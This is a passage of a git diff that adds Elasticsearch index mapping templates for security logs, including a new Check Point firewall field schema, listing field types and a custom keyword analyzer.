"analyzer": "es_security_analyzer" + } + } + }, + "destinationTranslatedAddress": { + "type": "ip" + }, + "destinationTranslatedPort": { + "type": "long" + }, + "destinationTranslatedZoneExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationTranslatedZoneURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationUserId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationUserName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationUserPrivileges": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationZoneExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationZoneURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceAction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceAddress": { + "type": "ip" + }, + "deviceCustomDate1": { + "type": "date" + }, + "deviceCustomDate1Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomDate2": { + "type": "date" + }, + "deviceCustomDate2Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomFloatingPoint1": { + "type": "double" + }, + "deviceCustomFloatingPoint1Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomFloatingPoint2": { + "type": "double" + }, + "deviceCustomFloatingPoint2Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomFloatingPoint3": { + "type": "double" + }, + "deviceCustomFloatingPoint3Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomFloatingPoint4": { + "type": "double" + }, + "deviceCustomFloatingPoint4Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomIPv6Address1": { + "type": "ip" + }, + "deviceCustomIPv6Address1Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomIPv6Address2": { + "type": "ip" + }, + "deviceCustomIPv6Address2Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomIPv6Address3": { + "type": "ip" + }, + "deviceCustomIPv6Address3Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomIPv6Address4": { + "type": "ip" + }, + "deviceCustomIPv6Address4Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomNumber1": { + "type": "long" + }, + "deviceCustomNumber1Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomNumber2": { + "type": "long" + }, + "deviceCustomNumber2Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomNumber3": { + "type": "long" + }, + "deviceCustomNumber3Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString1Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString2": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString2Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString3": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString3Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString4": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString4Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString5Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString6": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceCustomString6Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceDirection": { + "type": "long" + }, + "deviceDnsDomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceEventCategory": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceExternalId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceFacility": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceFlexNumber1": { + "type": "long" + }, + "deviceFlexNumber1Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceFlexNumber2": { + "type": "long" + }, + "deviceFlexNumber2Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceHostName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceInboundInterface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceMacAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceNtDomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceOutboundInterface": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "devicePayloadId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceProcessId": { + "type": "long" + }, + "deviceProcessName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceReceiptTime": { + "type": "date" + }, + "deviceTimeZone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceTranslatedAddress": { + "type": "ip" + }, + "deviceTranslatedZoneExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceTranslatedZoneURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceZoneExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceZoneURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "endTime": { + "type": "date" + }, + "eventId": { + "type": "long" + }, + "eventOutcome": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "externalId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fileCreateTime": { + "type": "date" + }, + "fileHash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fileId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fileModificationTime": { + "type": "date" + }, + "filePath": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "filePermission": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fileSize": { + "type": "long" + }, + "fileType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "filename": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "flexDate1": { + "type": "date" + }, + "flexDate1Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "flexString1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "flexString1Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "flexString2": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "flexString2Label": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ifname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "inzone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "layer_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "layer_uuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "logid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "loguid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "managerReceiptTime": { + "type": "date" + }, + "match_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "message": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nat_addtnl_rulenum": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nat_rulenum": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "oldFileCreateTime": { + "type": "date" + }, + "oldFileHash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "oldFileId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "oldFileModificationTime": { + "type": "date" + }, + "oldFileName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "oldFilePath": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "oldFilePermission": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "oldFileSize": { + "type": "long" + }, + "oldFileType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "origin": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "originsicname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "outzone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "parent_rule": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rawEvent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "requestClientApplication": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "requestContext": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "requestCookies": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "requestMethod": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "requestUrl": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rule_action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rule_uid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sequencenum": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "service_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceAddress": { + "type": "ip" + }, + "sourceDnsDomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceGeoLatitude": { + "type": "double" + }, + "sourceGeoLongitude": { + "type": "double" + }, + "sourceHostName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceMacAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceNtDomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourcePort": { + "type": "long" + }, + "sourceProcessId": { + "type": "long" + }, + "sourceProcessName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceServiceName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceTranslatedAddress": { + "type": "ip" + }, + "sourceTranslatedPort": { + "type": "long" + }, + "sourceTranslatedZoneExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceTranslatedZoneURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceUserId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceUserName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceUserPrivileges": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceZoneExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sourceZoneURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "startTime": { + "type": "date" + }, + "transportProtocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "type": "long" + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/checkpoint.json b/salt/elasticsearch/templates/component/ecs/checkpoint.json new file mode 100644 index 000000000..0fda74ee3 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/checkpoint.json @@ -0,0 +1,3653 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "checkpoint": { + "properties": { + "action_reason": { + "type": "long" + }, + "action_reason_msg": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "additional_info": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "additional_ip": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "additional_rdata": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "alert": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "allocated_ports": { + "type": "long" + }, + "analyzed_on": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "answer_rdata": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "anti_virus_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_desc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_id": { + "type": "long" + }, + "app_package": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_properties": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_repackaged": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_risk": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_sid_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_sig_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "appi_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "arrival_time": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attachments_num": { + "type": "long" + }, + "attack_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "audit_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "auth_method": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authority_rdata": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authorization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "bcc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "blade_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "broker_publisher": { + "type": "ip" + }, + "browse_time": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "c_bytes": { + "type": "long" + }, + "calc_desc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "capacity": { + "type": "long" + }, + "capture_uuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "certificate_resource": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "certificate_validation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cgnet": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "chunk_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "client_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "client_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "client_type_os": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "client_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cluster_info": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "community": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "confidence_level": { + "type": "long" + }, + "connection_uid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connectivity_level": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "connectivity_state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "conns_amount": { + "type": "long" + }, + "content_disposition": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "content_length": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "content_risk": { + "type": "long" + }, + "content_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "context_num": { + "type": "long" + }, + "cookie": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cookieI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cookieR": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cp_message": { + "type": "long" + }, + "cvpn_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cvpn_resource": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "data_type_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dce-rpc_interface_uuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "delivery_time": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "desc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destination_object": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "detected_on": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "developer_certificate_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "diameter_app_ID": { + "type": "long" + }, + "diameter_cmd_code": { + "type": "long" + }, + "diameter_msg_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_action_reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_additional_action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_categories": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_data_type_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_data_type_uid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "dlp_fingerprint_files_number": { + "type": "long" + }, + 